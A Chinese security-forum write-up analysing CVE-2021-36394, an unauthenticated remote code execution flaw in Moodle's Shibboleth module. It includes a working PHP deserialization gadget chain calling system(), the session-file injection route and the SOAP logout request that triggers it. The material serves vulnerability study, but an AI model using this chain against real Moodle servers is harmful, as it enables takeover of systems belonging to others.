安全矩阵

 找回密码
 立即注册
搜索
查看: 3084|回复: 0

Moodle 未授权远程代码执行分析(CVE-2021-36394)

[复制链接]

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
发表于 2021-10-24 14:23:25 | 显示全部楼层 |阅读模式
原文链接:Moodle 未授权远程代码执行分析(CVE-2021-36394)

漏洞简介
Moodle 是世界上最流行的学习管理系统。在几分钟内开始创建您的在线学习网站!
Moodle的Shibboleth认证模块存在一个未授权远程代码执行漏洞。这在大学中被广泛使用,以允许来自一所大学的学生与其他大学进行身份验证,从而使他们能够参加外部课程并与其他人一起玩乐。
漏洞影响
  1. 3.11, 3.10 to 3.10.4, 3.9 to 3.9.7 and earlier unsupported versions
复制代码
需要开启 Shibboleth 认证模块
可以 fofa 查看其使用,可以看到有 13w 条 moodle 应用
环境搭建
为了省去一些麻烦,这里我已经搭建好了漏洞 docker,可以在这里找到 CVE-2021-36394 Pre-Auth RCE in Moodle
执行如下操作
  1. docker-compose up -d
复制代码
然后进入 docker ,更改文件 /var/www/html/moodle-3.11.0/config.php
  1. $CFG->wwwroot   = 'http://127.0.0.1';
复制代码
将上面的链接改为自己的,必须是真实地址
漏洞分析
根据作者 博客 上讲的,此漏洞大概可分为三部分,session 文件写入,moodle 反序列化链,反序列化执行入口
moodle 反序列化链
先来看反序列化链,这并没有在 PHPGGC 收录,所以需要自己找,这里提供一条的简单分析,对细节感兴趣的童鞋可以调试一下
首先是 __destruct 入口,位于 lib/classes/lock/lock.php
可以看到 $key 可控,并且在字符串中,因此可以触发 __toString
我们选择 availability/classes/tree.php 中的 __toString ,如图
$this->children 可控,因此可以对象遍历,我们可以选一个可以让我们命令执行的类,选择 lib/classes/dml/recordset_walk.php 的 core\dml\recordset_walk ,因为这里有一个 current 方法可以 call_user_func ,并且参数可控

$this->callback 可控,$resord 由 $this->recordset->current() 得到,我们可以看到 $this->recordset ,需要实现的方法有很多,结合定义可以知道,$this->recordset 必须实现 Iterator ,因此范围就可以缩得比较小,最终确定使用 question/engine/questionusage.php 中的 question_attempt_iterator 类,但这个类默认没有被加载,需要一个类作为中介,这里可以选择 question/classes/external.php 中的 core_question_external
如此即可得到反序列化链
  1. <?php

  2. namespace core\lock {
  3.     class lock {
  4.         public function __construct($class)
  5.         {
  6.             $this->key = $class;
  7.         }
  8.     }
  9. }

  10. namespace core_availability{
  11.     class tree {
  12.         public function __construct($class)
  13.         {
  14.             $this->children = $class;
  15.         }
  16.     }
  17. }

  18. namespace core\dml{
  19.     class recordset_walk {
  20.         public function __construct($class)
  21.         {
  22.             $this->recordset = $class;
  23.             $this->callbackextra = null;
  24.             $this->callback = "system";

  25.         }
  26.     }
  27. }

  28. namespace {

  29.     class question_attempt_iterator{
  30.         public function __construct($class)
  31.         {
  32.             $this->slots = array(
  33.                 "xxx" => "key"
  34.             );
  35.             $this->quba = $class;
  36.         }
  37.     }

  38.     class question_usage_by_activity{
  39.         public function __construct()
  40.         {
  41.             $this->questionattempts = array(
  42.                 "key" => "whoami"
  43.             );
  44.         }
  45.     }

  46.     class core_question_external{

  47.     }

  48.     $add_lib = new core_question_external();
  49.     $activity = new question_usage_by_activity();
  50.     $iterator = new question_attempt_iterator($activity);
  51.     $walk = new core\dml\recordset_walk($iterator);
  52.     $tree = new core_availability\tree($walk);
  53.     $lock = new core\lock\lock($tree);

  54.     $arr = array($add_lib, $lock);

  55.     $value = serialize($arr);

  56.     echo $value;
  57. }
复制代码
session 文件写入
接下来我们要想办法将反序列化后的内容写入 session 文件
来到文件 grade/report/grader/index.php ,这是我们可以直接访问到的文件,来看看有什么处理
required_param 与 option_param 差不多,一个是必须,一个是可选,都是获取参数,这里可以看到 id 是必须的,且为 int 类型,其他的都是可选的,继续看下面的

可以看到,$graderreportsifirst 与 $graderreportsilast 被写入了 $SESSION ,也就是上面的 sifirst 和 silast,而 $SESSION 是 global 修饰的,指向 $GLOBALS['SESSION'] ,在 lib/classes/session/manager.php 中赋值

默认 session 会存储在文件中,因此我们的反序列化 payload 就会被写入 session 的文件存储起来,但是存储进 session 文件的 payload 如何被成功反序列化呢?这就看最关键的下一部分
反序列化执行入口
反序列化执行的入口出在 Shibboleth 认证模块,需要管理者开启该认证模块才可以使用,默认是不开启的,因此降低了此漏洞的影响面,但全网存在的 moodle 系统实在是多,所以影响还是可以的。
来到 auth/shibboleth/logout.php
首先是获取了输入流赋值给 $inputstream ,当 $inputstream 不为空时,会使用 soap 来处理,$server->handle() 默认处理输入流中的数据, 构造如下 xml 数据流访问就可以访问到 LogoutNotification 函数
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>
  3.             <LogoutNotification><spsessionid>xxxx</spsessionid>
  4.             </LogoutNotification></soap:Body></soap:Envelope>
复制代码
这里会先获取 session 存储的方式,文件存储与数据库存储,默认为文件存储,这时会进入 \auth_shibboleth\helper::logout_file_session($spsessionid);
这里获取了 session 存储的位置,然后遍历所有文件,获取内容,最后进入 self::unserializesession($data[0]);



这里首先以 | 分割字符串,然后以2个为一组,将每组的第二个反序列化,这里就解决了第二部分的问题,可以构造包含 |payload 的字符串,就可以成功反序列化 payload ,构造如下
  1. aaaaaa|......payload......|bbbbbb
复制代码
漏洞复现
复现 POC 已上传 github 传送门 ,需要注意的是,这个命令执行是无回显的,这里借助 ceye 平台进行测试
使用 docker-compose.yml 搭建环境

使用 moodle_unserialize_rce.php 生成反序列化字符串



使用 moodle_rce.py 进行测试



查看 ceye 平台










本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 22:20 , Processed in 0.019690 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表